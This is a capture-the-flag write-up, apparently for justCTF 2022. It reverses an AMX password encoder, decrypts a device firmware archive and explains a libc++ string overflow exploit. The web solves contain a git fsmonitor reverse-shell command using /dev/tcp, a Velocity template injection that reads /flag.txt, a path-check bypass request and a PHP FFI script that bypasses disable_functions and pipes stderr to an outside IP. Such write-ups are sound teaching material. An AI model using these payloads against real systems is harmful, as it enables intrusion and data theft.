0xD4C                     STACK  0xC         ; free 3 cells

0xD54                   POP.pri             ;pri=ret
0xD58                  PUSH.pri 
0xD5C                      PUSH  0x42C       ; Trie:parts
0xD64                    PUSH.C  0xC        
0xD6C                  SYSREQ.C  0x7         ; TrieGetCell
0xD74                     STACK  0x10        ; free 4 cells
0xD7C                      HEAP  0xFFFFFC00 
0xD84                     BREAK 
0xD88                LOAD.S.pri  0xFFFFFFF8  ; i
0xD90                LOAD.S.alt  0xC         ; password[]
0xD98                   IDXADDR 
0xD9C                  MOVE.alt 
0xDA0                LOAD.S.pri  0xFFFFFFFC  ; b
0xDA8                    STOR.I 
0xDAC                      JUMP  0xCE0      


0xDB4                     STACK  0x4         ; free 1 cells
0xDBC                     BREAK 
0xDC0                LOAD.S.pri  0x10        ; password_len
0xDC8                     STACK  0x4         ; free 1 cells
0xDD0                      RETN 




0xE44                      PROC              ; public encode3(password[],password_len)
0xE48                     BREAK              ; encoder.sma:149
0xE4C                     BREAK              ; encoder.sma:150
0xE50                     STACK  0xFFFFFFFC  ; allocate 1 cells
0xE58                    PUSH.C  0x3D8      
0xE60                    PUSH.C  0x4        
0xE68                  SYSREQ.C  0x9         ; get_cvar_num
0xE70                     STACK  0x8         ; free 2 cells
0xE78                STOR.S.pri  0xFFFFFFFC  ; b ;b=1337
0xE80                     BREAK              ; encoder.sma:153
0xE84                    PUSH.C  0x0        
0xE8C                      JUMP  0xEA0      
0xE94                     BREAK              ; encoder.sma:153
0xE98                     INC.S  0xFFFFFFF8  ;i+=1


0xEA0                LOAD.S.pri  0xFFFFFFF8  ; 
                                             ; new i
0xEA8                LOAD.S.alt  0x10        ; password_len
0xEB0                     JSGEQ  0xF68      

0xEB8                     BREAK              ; encoder.sma:154
0xEBC                LOAD.S.pri  0xFFFFFFFC  ; b
0xEC4                  PUSH.pri ;ee8
0xEC8                LOAD.S.pri  0xFFFFFFF8  ; i
0xED0                LOAD.S.alt  0xC         ; password[]
0xED8                   IDXADDR             ;pri=pw+i
0xEDC                    LOAD.I             ;pri=pw[i]
0xEE0                    SMUL.C  0xDEAD     ;pri=pw[i]*0xdead
0xEE8                   POP.alt             ;alt=b
0xEEC                       ADD             ;pri=pw[i]*0xdead+b
0xEF0                STOR.S.pri  0xFFFFFFFC  ; b ;b=pw[i]*0xdead+b
0xEF8                     BREAK              ; encoder.sma:154
0xEFC                LOAD.S.pri  0xFFFFFFFC  ; b
0xF04                     ADD.C  0x1         ; signed:  1
0xF0C                STOR.S.pri  0xFFFFFFFC  ; b ;b=b+1
0xF14                     BREAK              ; encoder.sma:156
0xF18                 CONST.pri  0x1000     
0xF20                LOAD.S.alt  0xFFFFFFFC  ; b
0xF28                  SDIV.alt 
0xF2C                  MOVE.pri             ;pri=b%0x1000
0xF30                STOR.S.pri  0xFFFFFFFC  ; b ;b=b%0x1000
0xF38                     BREAK              ; encoder.sma:156
0xF3C                LOAD.S.pri  0xFFFFFFF8  ; i
0xF44                LOAD.S.alt  0xC         ; password[]
0xF4C                   IDXADDR             ;pri=pw+i
0xF50                  MOVE.alt             ;alt=pw+i
0xF54                LOAD.S.pri  0xFFFFFFFC  ; b
0xF5C                    STOR.I             ;pw[i]=b
0xF60                      JUMP  0xE94      


0xF68                     STACK  0x4         ; free 1 cells
0xF70                     BREAK              ; encoder.sma:157
0xF74                LOAD.S.pri  0x10        ; password_len
0xF7C                     STACK  0x4         ; free 1 cells
0xF84                      RETN 




0x14A4                     PROC              ; public prepare_plugin()
0x14A8                    BREAK 
0x14AC                    BREAK 
0x14B0                   PUSH.C  0x0        
0x14B8                 SYSREQ.C  0x6         ; TrieCreate
0x14C0                    STACK  0x4         ; free 1 cells
0x14C8                 STOR.pri  0x42C       ; Trie:parts
0x14D0                    BREAK 
0x14D4                   PUSH.C  0x0        
0x14DC                     CALL  0x1864      ; public get_amx_base_ptr()
0x14E4                 STOR.pri  0x430       ; amx_base
0x14EC                    BREAK 
                                             ; new buf[32]
0x14F0                    STACK  0xFFFFFF80  ; allocate 32 cells
0x14F8                 ZERO.pri 
0x14FC                 ADDR.alt  0xFFFFFF80 
0x1504                     FILL  0x80        ; 32 cells
                                             ; new hash[64]
0x150C                    STACK  0xFFFFFF00  ; allocate 64 cells
0x1514                 ZERO.pri 
0x1518                 ADDR.alt  0xFFFFFE80 
0x1520                     FILL  0x100       ; 64 cells
                                             ; new order
0x1528                   PUSH.C  0x0        
                                             ; new hexbuf[3]
0x1530                    STACK  0xFFFFFFF4  ; allocate 3 cells
0x1538                 ZERO.pri 
0x153C                 ADDR.alt  0xFFFFFE70 
0x1544                     FILL  0xC         ; 3 cells
                                             ; new v
0x154C                   PUSH.C  0x0        
0x1554                    BREAK 
                                             ; new i
0x1558                   PUSH.C  0x0        
0x1560                     JUMP  0x1574     


0x1568                    BREAK 
0x156C                    INC.S  0xFFFFFE68  ; i1 ;i1++


0x1574               LOAD.S.pri  0xFFFFFE68  ; i1
0x157C                CONST.alt  0x100      ;
0x1584                    JSGEQ  0x15CC     ;i1>=0x100
0x158C                     PUSH  0x42C       ; Trie:parts
0x1594                   PUSH.C  0x4        
0x159C                 SYSREQ.C  0x12        ; TrieGetSize
0x15A4                    STACK  0x8         ; free 2 cells
0x15AC                CONST.alt  0x100      
0x15B4                      JEQ  0x15CC     ;size==0x100
0x15BC                CONST.pri  0x1        
0x15C4                     JUMP  0x15D0     


0x15CC                 ZERO.pri 

0x15D0                     JZER  0x17BC     
0x15D8                    BREAK 
0x15DC                 PUSH.ADR  0xFFFFFE68  ; i1
0x15E4                   PUSH.C  0x6C0      ;"%08x"
0x15EC                   PUSH.C  0x1F       
0x15F4                 PUSH.ADR  0xFFFFFF80  ; buf[32]
0x15FC                   PUSH.C  0x10       
0x1604                 SYSREQ.C  0x11        ; formatex; formatex(buf, 0x1f, "%08x", i1)
0x160C                    STACK  0x14        ; free 5 cells
0x1614                    BREAK 
0x1618                   PUSH.C  0x40       
0x1620                 PUSH.ADR  0xFFFFFE80  ; hash[64]
0x1628                   PUSH.C  0x3        
0x1630                 PUSH.ADR  0xFFFFFF80  ; buf[32]
0x1638                   PUSH.C  0x10       
0x1640                 SYSREQ.C  0x14        ; hash_string; hash_string(buf, 3, hash, 0x40) #Hash_Sha256
0x1648                    STACK  0x14        ; free 5 cells
0x1650                    BREAK 
                                             ; new i
0x1654                   PUSH.C  0x0        
0x165C                     JUMP  0x1680     


0x1664                    BREAK 
0x1668               LOAD.S.pri  0xFFFFFE64  ; i2
0x1670                    ADD.C  0x2         ; signed:  2
0x1678               STOR.S.pri  0xFFFFFE64  ; i2 ; i2+=2


0x1680               LOAD.S.pri  0xFFFFFE64  ; i2
0x1688                CONST.alt  0x40       
0x1690                    JSGEQ  0x17AC     ;i2<0x40

0x1698                    BREAK 
0x169C                 ADDR.pri  0xFFFFFE80  ; hash[64]
0x16A4                 PUSH.pri ;16c0
0x16A8               LOAD.S.pri  0xFFFFFE64  ; i2
0x16B0                    ADD.C  0x1        ;pri=i2+1
0x16B8                   BOUNDS  0x3F       
0x16C0                  POP.alt             ;alt=hash
0x16C4                  IDXADDR             ;pri=hash+i2+1
0x16C8                 PUSH.pri 
0x16CC                 ADDR.alt  0xFFFFFE80  ; hash[64]
0x16D4               LOAD.S.pri  0xFFFFFE64  ; i2
0x16DC                   BOUNDS  0x3F       
0x16E4                  IDXADDR             ;pri=hash+i2
0x16E8                 PUSH.pri 
0x16EC                   PUSH.C  0x6D4      ;"%c%c"
0x16F4                   PUSH.C  0x2        
0x16FC                 PUSH.ADR  0xFFFFFE70  ; hexbuf[3]
0x1704                   PUSH.C  0x14       
0x170C                 SYSREQ.C  0x11        ; formatex ;formatex(hexbuf, x, "%c%c", hash+i2, hash+i2+1)
0x1714                    STACK  0x18        ; free 6 cells
0x171C                    BREAK 
0x1720                 PUSH.ADR  0xFFFFFE6C  ; v
0x1728                 PUSH.ADR  0xFFFFFE70  ; hexbuf[3]
0x1730                     PUSH  0x42C       ; Trie:parts
0x1738                   PUSH.C  0xC        
0x1740                 SYSREQ.C  0x7         ; TrieGetCell ; TrieGetCell(42c, hexbuf, v)
0x1748                    STACK  0x10        ; free 4 cells
0x1750                      NOT 
0x1754                     JZER  0x17A4     ;if TrieGetCell...
0x175C                    BREAK 
0x1760                   PUSH.C  0x1        
0x1768                   PUSH.S  0xFFFFFE7C  ; order
0x1770                 PUSH.ADR  0xFFFFFE70  ; hexbuf[3]
0x1778                     PUSH  0x42C       ; Trie:parts
0x1780                   PUSH.C  0x10       
0x1788                 SYSREQ.C  0x15        ; TrieSetCell ; TrieSetCell(42c, hexbuf, order, 1)
0x1790                    STACK  0x14        ; free 5 cells
0x1798                    BREAK 
0x179C                    INC.S  0xFFFFFE7C  ; order; order+=1
0x17A4                     JUMP  0x1664     


0x17AC                    STACK  0x4         ; free 1 cells
0x17B4                     JUMP  0x1568     




0x17BC                    STACK  0x4         ; free 1 cells
0x17C4                    BREAK 
                                             ; new i
0x17C8                   PUSH.C  0x0        
0x17D0                     JUMP  0x17E4     
0x17D8                    BREAK 
0x17DC                    INC.S  0xFFFFFE68  ; i1
0x17E4               LOAD.S.pri  0xFFFFFE68  ; i1
0x17EC                CONST.alt  0x3        
0x17F4                    JSGEQ  0x184C     
0x17FC                    BREAK 
0x1800                CONST.alt  0x364      
0x1808               LOAD.S.pri  0xFFFFFE68  ; i1
0x1810                   BOUNDS  0x2        
0x1818                  IDXADDR 
0x181C                 MOVE.alt 
0x1820                   LOAD.I 
0x1824                      ADD 
0x1828                 PUSH.pri 
0x182C                   PUSH.C  0x4        
0x1834                 SYSREQ.C  0x16        ; db_get
0x183C                    STACK  0x8         ; free 2 cells
0x1844                     JUMP  0x17D8     
0x184C                    STACK  0x4         ; free 1 cells
0x1854                    STACK  0x194       ; free 101 cells
0x185C                 ZERO.pri 
0x1860                     RETN 

Final solve code:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
import hashlib
import struct
from collections import defaultdict

MAGIC_INIT = 12314
# MAGIC_INIT = 0

def encode1(name, pw):
    pw = bytearray(pw)

    for i in range(len(pw)):
        pw[i] ^= name[i % len(name)]

    i = 0
    while i < len(pw):
        pw[i] = pw[i + 1] ^ pw[i]
        pw[i + 1] = pw[i + 1] ^ pw[i]
        pw[i] = pw[i + 1] ^ pw[i]
        i += 2
    return pw


def decode1(name, pw):
    pw = bytearray(pw)

    for i in range(len(pw) // 2):
        pw[i * 2], pw[i * 2 + 1] = pw[i * 2 + 1], pw[i * 2]

    for i in range(len(pw)):
        # _70 += 1
        pw[i] ^= name[i % len(name)]
    return pw



table = bytes.fromhex('''DF F5 F6 45 32 AA 91 01 0E C2 F7 12 EC 3D E6 7D
AB 4B 70 8B 67 35 52 9C 08 EE F9 78 CE D5 64 02
B2 D9 11 05 A4 80 4A F8 CD 8A C8 F4 E0 9F ED 76
AE D3 D7 77 0F 16 81 6C DD 8E 0D 6E 1A AC 53 30
1C 50 B7 E7 90 09 83 DB 36 19 2F 6D 87 9D E8 60
15 72 9B 88 F3 31 47 69 74 5B 2D A7 21 5D BE 65
1B 0C 23 5F C1 9E B9 A3 BC D1 CB 3C 2B B0 F1 BA
B6 5C EF 0B 29 E4 D2 C6 3A 38 5A 17 49 C4 00 CF
57 E5 55 37 BD 34 A6 E1 24 F2 0A C5 1F 7E 25 07
56 48 75 A9 3E 98 C0 2A FD 79 59 82 FA FF 85 33
73 C9 DE 18 99 7F 68 6F 9A 1D 7B A2 2C EA 20 A0
04 6B D6 94 B4 63 93 AF D0 2E FE 54 D4 7C 3F B5
BF 43 AD CC FC 40 F0 84 41 DA 42 89 14 66 A5 58
B8 CA 3B E3 44 13 EB 61 97 03 6A 96 E2 95 92 62
A8 22 BB 26 71 E9 4E A1 DC 28 1E 27 4C 06 8F 51
8C C7 7A 4F 4D 46 10 B3 B1 C3 FB 39 8D 5E D8 86
'''.strip().replace(' ', ''))

def encode2(pw):
    return bytes([table[x] for x in pw])

rtable = []
for i in range(0x100):
    rtable.append(table.index(i))

def decode2(pw):
    return bytes([rtable[x] for x in pw])

def encode3(pw):
    # encode3_cvar_name = "encoder_random_value"
    r = list(pw)
    t = MAGIC_INIT  # encoder_random_value

    for i in range(len(r)):
        # t = r[i] * 0xdead + t
        # t = t + 1
        # t = t % 0x1000
        t = (r[i] * 0xdead + t + 1) % 0x1000
        r[i] = t
    return r

def decode3p(pw):
    r = []
    t = MAGIC_INIT
    for x in pw:
        for i in range(0x100):
            if (i * 0xdead + t + 1) % 0x1000 == x:
                r.append(i)
                t = x
                break
    return r

def decode3(pw):
    r = []
    for i in range(len(pw) - 1):
        this = pw[len(pw) - i - 1]
        prev = pw[len(pw) - i - 2]
        for x in range(256):
            if (x * 0xdead + prev + 1) % 0x1000 == this:
                r.append(x)
                break
    r.append(0)
    return r[::-1]


def prepare():
    m = {}
    i1 = 0
    order = 0
    while i1 < 256 and len(m) != 256:
        buf = f'{i1:08x}'
        hash = hashlib.sha256(bytes(buf, 'ascii')).hexdigest()

        i2 = 0
        while i2 < 64:
            hexbuf = hash[i2 * 2:i2 * 2 + 2]
            if hexbuf not in m:
                m[hexbuf] = order
                order += 1
            i2 += 2

        i1 += 1
    return m


def rprepare():
    m = prepare()
    # rm = defaultdict(list)
    rm = {}
    for k, v in m.items():
        # rm[v].append(k)
        rm[v] = k
    return rm


def dw(x):
    bf = bytes.fromhex(x)
    r = struct.unpack('>' + 'h' * (len(bf) // 2), bf)
    return r


_pws = [
    '08ce0d1901640a1802cc0b800434087f0cca057e0e3206e6',
    '080a0d3804d4008509900e670da10d9f', '0f890c6e040a08e102b30b9f0d0c0cb6',
    '04f10c8a0a1a095404ae0985092f0e98', '0ec80d76021800c6043101fc01360a220905',
    '0797080805980012065809c30871086f0554037002530fca0d250e3e',
    '05100a060efc0ea60e500346083c0d320cdc', '021608eb067b093b0c170c88053c098a',
    '0ec80d920582039e07950164007f02940e290e97038d08670cd108630bce02de0566079a02f4012c08ac04950aa60f0d0c81',
    '0f5401c00a740b8d0dc10407081d0c8700ee', '048106ed0b540ddc022a065c01f1081e',
    '07b6052d07ed0724036104070b300f7b', '0efd057e09b003820d380f340ae502d50a71'
]
pws = []
for pw in _pws:
    pws.append(dw(pw))
names = [
    b'Joe', b'Fragnatic', b'Campers Death', b'Wujek', b'shw',
    b'Headshot Deluxe', b'fex', b'L33t', b'Pr0g4m3r', b'Rivit', b'Botman',
    b'rumcajs', b'Dredd'
]
assert len(names) == len(pws)

if __name__ == '__main__':

    name = b'DDDD'
    pw = b'PASSWORDPASSWORD'
    r1 = encode1(name, pw)
    assert bytes(r1) == bytes.fromhex('05 14 17 17 0B 13 00 16 05 14 17 17 0B 13 00 16'.replace(' ', ''))
    _pw = decode1(name, r1)
    assert bytes(_pw) == bytes(pw)


    r2 = encode2(r1)
    assert bytes(r2) == bytes.fromhex('AA 67 9C 9C 12 8B DF 52 AA 67 9C 9C 12 8B DF 52')
    _r1 = decode2(r2)
    assert bytes(_r1) == bytes(r1)

    r3 = encode3(r2)

    _r2 = decode3(r3)
    print(bytes(r2).hex())
    print(bytes(_r2).hex())

    print('=' * 66)
    for _pw, _name in zip(pws, names):
        _rr2 = decode3(_pw)
        _rr1 = decode2(_rr2)
        _r = decode1(_name, _rr1)
        print(_r)
    ```
    
## Fancy Device
Attachment has 2 files: firmware.bin (a zip file containing `SDDL.SEC`) and unknownbin.zip (a zip containing an AES key `crypto_key` , an executable `customer_download` and a dynamic library `libdownloadlib.so.0` ).
By finding code related to symmetric cryptography in `customer_download` we can find out that the `crypto_key` is "cipher"ed AES key and iv. "decipher" it and we can decrypt some part of `SDDL.SEC.`
![](https://s2.loli.net/2022/06/16/t4duDUlAoSfL5P3.jpg)

```python
#!/usr/bin/python3

from Crypto.Cipher import AES

with open('../crypto_key', 'rb') as f:
    key_buf = bytearray(f.read())
with open('./SDDL.SEC', 'rb') as f:
    sddl_buf = bytearray(f.read())

acc = 0x388
for i in range(0x20):
    newacc = 0x96a3 + (acc + key_buf[i])
    key_buf[i] ^= 0xff&(acc>>8)
    acc = newacc

key = key_buf[:16]
iv = key_buf[16:]

print(repr(key), repr(iv))

cip = AES.new(key, AES.MODE_CBC, iv)

suc = cip.decrypt(sddl_buf)

with open('sddl_dec.bin','wb') as f:
    f.write(suc)

This is far from finishing, but this is a good start.
By xref from the AES decrypting function 0x100fc, we can find several places using it, and find out the main structure of the SDDL.SEC file - it is like an archive file, with file headers and file contents encrypted.

At this stage we can destruct the SDDL.SEC file:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python3

from Crypto.Cipher import AES

with open('../crypto_key', 'rb') as f:
    key_buf = bytearray(f.read())
with open('./SDDL.SEC', 'rb') as f:
    sddl_buf = bytearray(f.read())

def decipher(b: bytearray):
    assert len(b)<0x7f # (later complex logic is not reversed)
    acc = 0x388
    for i in range(len(b)):
        new_acc = 0x96a3 + (acc + key_buf[i])
        b[i] ^= 0xff & (acc >> 8)
        acc = new_acc

decipher(key_buf)

key = key_buf[:16]
iv = key_buf[16:]

print(repr(key), repr(iv))

def decrypt_payload(b):
    cip = AES.new(key, AES.MODE_CBC, iv)
    return cip.decrypt(b)
def decrypt_payload_unpad(b):
    b1 = decrypt_payload(b)
    return b1[:-b1[-1]]

off = 0x20
while off < len(sddl_buf)-0x80:
    hdr = decrypt_payload_unpad(sddl_buf[off:off+0x20])
    file_name = hdr.split(b'\0')[0]
    file_size = int(hdr[16:].decode())
    file_content = sddl_buf[off+0x20:off+0x20+file_size]
    off += 0x20 + file_size
    print('file', file_name, file_size)
    filenm = file_name.decode()
    #with open('ENC_'+filenm, 'wb') as f:
    #    f.write(file_content)
    with open(filenm, 'wb') as f:
        f.write(decrypt_payload_unpad(file_content))

We see that every file is good (their AES padding is correct; their file header seems reasonable), so we have confidence that this step is correct.
And then we stuck, not knowing what to do with the PEAKS.F?? files.
We guessed on the file format for a while, and searched in the binaries again and again and again and finally we found some function that we did not notice - the function 0xf0c0.

By tracking data flow we find out that this function deals exactly with the .F?? Files, also we see that the operations in the function matches exactly with the extracted file structures. In detail:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ hexdump -C PEAKS.F64
00000000  11 22 33 44 19 11 19 00  00 00 00 00 00 00 00 00  |."3D............|
00000010  03 00 00 00 03 00 06 08  03 00 06 09 00 00 00 01  |................|
(the lines before are fixed)
00000020  00 40 03 00 00 00 10 01  00 40 00 0e fd 66 ac f1  |.@.......@...f..|
(0x20-0x22 - block index)
(0x22-0x24 - controling bytes, explained later)
(0x24-0x28 - size before decrypting)
(0x28-0x2c - size after decrypting)
(0x2c-0x30 - crc32)

We see that the actual unpacking process is in libdownloadlib.so.0 ``dwld_module_exec, and since the file has byte 0x03 at 0x22 offset, the content after 0x30 will be first deciphered and then zlib.decompress ed, and finally crc32 checked.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3

import os
import struct
import zlib
from tqdm import tqdm

def decipher(s, len_):
    v3 = 904
    out = bytearray(s)
    cnt = 0
    while len_ > 0:
        if len_ >= 0x80:
            true_len = 128
        else:
            true_len = len_
        if true_len:
            i = 0
            j = 0
            while i < len(s):
                iter_ = s[i]
                i += 1
                j = (j + 1) & 0xff
                v11 = iter_ + 38400
                v11 = v11 & 0xffffffff
                v12 = iter_ ^ ((v3 & 0xff00) >> 8)
                v3 += v11 + 163
                v3 = v3 & 0xffffffff
                if j == 0:
                    v3 = 904
                # out += bytes([v12])
                out[cnt] = v12
                cnt += 1
        len_ -= true_len
        return out


for i in tqdm(range(88)):
    out_f = open(f"PEAKS.F{i:02}.unzip", "wb")
    in_f = open(f"PEAKS.F{i:02}" , "rb")
    in_f.read(0x20)
    number = struct.unpack(">H", in_f.read(0x2))[0]
    control = struct.unpack(">H", in_f.read(0x2))[0]
    data_size = struct.unpack(">I", in_f.read(0x4))[0]
    decrypt_size = struct.unpack(">I", in_f.read(0x4))[0]
    unzlib_crc = struct.unpack(">I", in_f.read(0x4))[0]
    data = in_f.read()
    assert len(data) == data_size
    decrypt_data = decipher(data, len(data))
    out_f.write(zlib.decompress(decrypt_data))
    out_f.flush()
    out_f.close()
    in_f.close()

And then the unpacked data 1-4 is the dest offset, 5-8 is the source offset (0xe fixed) 9-12 is the size (0x400000 fixed mostly).
With that info, we concatenate the 88 PEAKS.F?? Files into one big file - seems that the file is a firmware or at least file systems.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import os
import struct
import zlib
from tqdm import tqdm


with open("out_file_system.bin", "wb") as out_file:
    for i in tqdm(range(88)):
        in_f = open(f"PEAKS.F{i:02}.unzip", "rb")
        in_f.read(1)
        out_file_offset = struct.unpack(">I", in_f.read(4))[0]
        this_file_offset = struct.unpack(">I", in_f.read(4))[0]
        out_file_size = struct.unpack(">I", in_f.read(4))[0]
        in_f.read(1)
        assert this_file_offset == 0xe
        out_data = in_f.read()
        # assert len(out_data) == out_file_size
        out_file.seek(out_file_offset)
        out_file.write(out_data)
        in_f.close()
        # total_size += out_file_size

Binwalk tells us that there is a squashfs in the file system, and flag is exactly inside the squashfs.


##Monsters
The program is a nasty C++ O3-optimized binary. And it does not use the common libstdc++ but rather libc++. We have planned to spend a DEF CON CTF level of time reversing it yet the vulnerability is rather simple and is not much involved with the main logic of program.
The function make_note is obviously a readline that is not in C++ code pattern - it reads the line using the pure C style programming, and is prone to buffer overflow - actually there is a single-byte buffer overflow here.

And it is easy to trigger the buffer overflow by trial and error:

0
1
9
15
0123456789abcdef0123456Y
9
10
1
3

Changing Y into Z yields some different output:

And we can find that the overflowed memory is the next std::string, which is the “kind” of the monster. And function 14 can edit this string, while function 15 can trigger the overflow multiple time.
This challenge uses a different version of C++ dynamic library libc++, which has a different std::string layout

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
struct std::string {
    union {
        struct {
            u8 is_long:1;
            u8 string_length:7;
        };
    };
    union {
        u8 short_buffer[0x17]; /* if not is_long, layout1 */
        struct {
            u8 _[0x7]; /* if is_long, layout2 */
            u64 size;
            char* str_pointer;
        };
    }
};

So by overflowing the first byte of the next string, we can change string layout between the short layout that uses the remaining space of the struct as buffer (layout1), and the long layout that uses a external string buffer pointer (layout2).
This challenge has put the flag at a fixed address, so we
(a) ensure that the “kind” string is in short layout, by overflowing an even byte to it;
(b) spray the pointer pointing to the flag (0x40c060) along with a valid size (0x100) on the “kind” string struct;
(c) overflow an odd byte to the “kindβ€œ string;
(d) print out the “kind” string.
An exploit generating script is provided here:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
def p32(x):
    return (x%(1<<64)).to_bytes(4,'little')
def p64(x):
    return (x%(1<<64)).to_bytes(8,'little')

def edit_note(b):
    return b'15\n'+b'A'*0x17+b+b'\n9\n'

def edit_kind(b):
    return b'14\n'+b+b'\n'

pl = b''

pl += b'0\n1\n9\n' # go to dream room
pl += edit_note(b'Z') # ensure that the kind string is short
pl += edit_kind(b'\0'*7+p64(0x100)+p32(0x40c060)) # spray kind string field
pl += edit_note(b'Y') # set kind string to long
pl += b'10\n' # print everything
pl += b'1\n3\n' # ensure that the program dies properly

with open('pl.bin','wb') as f:
    f.write(pl)

Web

gitara

create 4 files in home dir
HEAD objects refs config

1
2
3
4
echo 'ref: refs/heads/master' > HEAD
touch objects && chmod +x objects
touch refs && chmod +x refs
echo '[core]\nrepositoryformatversion = 0\nfilemode = true\nworktree = "/tmp"\nfsmonitor = "bash -c \'bash -i >& /dev/tcp/ip/port 0>&1\'"' > config

Velociraptor

#set($p='inclu'+'de')
#evaluate("#$p('/flag.txt')")

Symple Unzipper

0ctf 2021 zip
Modify the zip file offset and fill it with a tar.gz

GoBucket

The flag is in the file which is named secret_file and at the upper level of the folder of buckets.
We can read secret_file if bucketId = ‘secret_file’ and filename = ‘./’, but the check in the mux.ServerHTTP doesn’t allow us to do it.
After some random fuzz test, we foundsecret_file/.\ will bypass the check and looks like the application is running in windows so it works.

$ curl --path-as-is 'http://gobucket.web.jctf.pro/files/secret_file/.\\' -vv
> GET /files/secret_file/.\ HTTP/1.1
> Host: gobucket.web.jctf.pro
> User-Agent: curl/7.83.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx
< Date: Sun, 12 Jun 2022 06:12:14 GMT
< Content-Type: text/plain; charset=utf-8
< Content-Length: 94
< Connection: keep-alive
< Accept-Ranges: bytes
< Last-Modified: Sat, 11 Jun 2022 17:52:14 GMT
< X-Ratelimit-Limit: 15
< X-Ratelimit-Remaining: 7
< X-Ratelimit-Reset: Sun, 12 Jun 2022 06:12:14 UTC
<
justCTF{This_Windows_only_http.ServeFile_0day_was_concluded_not_a_secvuln_by_Golang_Security}
* Connection #0 to host gobucket.web.jctf.pro left intact

Foreigner

phpinfo() shows ffi.enable = on, so we can use ffi to directly call native function to bypass disable_function and open_basedir. But the system is running in the container with php -S and looks like already disabled some dangerous syscall like execve. Also, The php’s putenv won’t really put the FLAG to the current process’s envrion, so we can’t read it from /proc/self/envrion. The real challenge is how to read the flag. We finally do it by dup2, replacing the stderr’s fd with the socket that connects to our server, which means we can read the php’s log in realtime.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import requests

host = 'http://foreigner.web.jctf.pro/'
#host = 'http://172.17.0.2/'

cmd = '''
$ffi=FFI::cdef("
struct dirent
  {
    unsigned long int d_ino;
    long int d_off;
    
    unsigned short int d_reclen;
    unsigned char d_type;
    char d_name[256];
  };

struct sockaddr_in
  {
    unsigned short int sin_family;
    unsigned short int sin_port;            /* Port number.  */
    unsigned int sin_addr;      /* Internet address.  */
    unsigned char sin_zero[10];
  };

int socket(int domain, int type, int protocol);
int connect(int sockfd, const struct sockaddr_in *addr, unsigned int addrlen);
void exit(int status);
int fork(void);
int fclose(void *stream);
int getpid(void);
void* fwrite(const char *ptr, long unsigned int size_of_elements, long unsigned int number_of_elements, void *a_file);
int dup2(int oldfd, int newfd);

void *opendir (const char *__name);
struct dirent *readdir (void *__dirp);

void *popen(const char *command, const char *type); 
int fgetc( void * fp ); 
void *fopen(const char *restrict pathname, const char *restrict mode);
char *getenv(const char *name); 
int putenv(char *string);
","libc.so.6"); 

var_dump($ffi); 
$cnt = 1;

var_dump(getmypid());

$a = $ffi->getenv("PATH");
var_dump(FFI::string($a));

$parent_pid = $ffi->getpid();
var_dump($parent_pid);

$sockfd=$ffi->socket(2, 1, 0);
$addr = $ffi->new("struct sockaddr_in");
$addr->sin_family = 2;
$addr->sin_port = 48202;
$addr->sin_addr = 4229012011;
$ffi->connect($sockfd, FFI::addr($addr), 16);

$ffi->dup2($sockfd, 2);
'''

sess = requests.session()
res = sess.get(host, params={'x': cmd})
print(res.text)

# /app, openbase_dir=/app